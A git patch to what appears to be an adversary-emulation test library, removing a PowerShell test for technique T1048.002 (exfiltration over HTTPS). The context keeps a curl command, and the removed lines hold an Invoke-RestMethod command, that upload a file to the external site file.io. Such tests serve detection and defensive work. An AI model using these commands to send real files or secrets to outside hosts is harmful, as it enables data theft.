From 133317d8062dad59d22513046b0474be2a7b00a1 Mon Sep 17 00:00:00 2001 From: Daniel Danho Date: Wed, 17 Nov 2021 12:54:25 +0100 Subject: [PATCH] Removed broken Windows check, saved elsewhere for a later commit --- atomics/T1048.002/T1048.002.yaml | 23 ----------------------- 1 file changed, 23 deletions(-) diff --git a/atomics/T1048.002/T1048.002.yaml b/atomics/T1048.002/T1048.002.yaml index 5cd62562..6112e219 100644 --- a/atomics/T1048.002/T1048.002.yaml +++ b/atomics/T1048.002/T1048.002.yaml @@ -23,26 +23,3 @@ atomic_tests: elevation_required: false command: | curl -F 'file=@#{input_file}' -F 'maxDownloads=1' -F 'autoDelete=true' https://file.io/ - - -- name: Exfiltrate data HTTPS using Invoke-RestMethod - description: | - Exfiltrate data HTTPS using Invoke-RestMethod to file share site file.io - - supported_platforms: - - windows - - linux - - input_arguments: - input_file: - description: Test file to upload - type: Path - default: PathToAtomicsFolder/T1048.002/files/artifact - - executor: - name: powershell - elevation_required: false - command: |- - $form = @{ file = Get-item -Path '(#{input_file})'; content_type = 'txt/plain'; autoDelete = 'true'; maxDownloads = '1' } - Invoke-RestMethod -Uri https://file.io -Method Post -Form $form -